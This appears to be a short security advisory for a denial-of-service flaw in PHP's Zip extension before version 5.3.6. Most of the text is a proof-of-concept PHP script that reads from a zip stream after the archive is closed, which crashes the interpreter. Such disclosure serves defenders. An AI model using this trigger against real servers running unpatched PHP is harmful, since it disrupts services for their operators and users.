PHP is prone to a remote denial-of-service vulnerability that affects the 'Zip' extension.
Successful attacks will cause the application to crash, creating a denial-of-service condition. Due to the nature of this issue, arbitrary code-execution may be possible; however, this has not been confirmed.
Versions prior to PHP 5.3.6 are vulnerable.
<?php
$target_file = 'META-INF/MANIFEST.MF';
$za = new ZipArchive();
if ($za->open('test.jar') !== TRUE)
{
return FALSE;
}
if ($za->statName($target_file) !== FALSE)
{
$fd = $za->getStream($target_file);
}
else
{
$fd = FALSE;
}
$za->close();
if (is_resource($fd))
{
echo strlen(stream_get_contents($fd));
}
?>
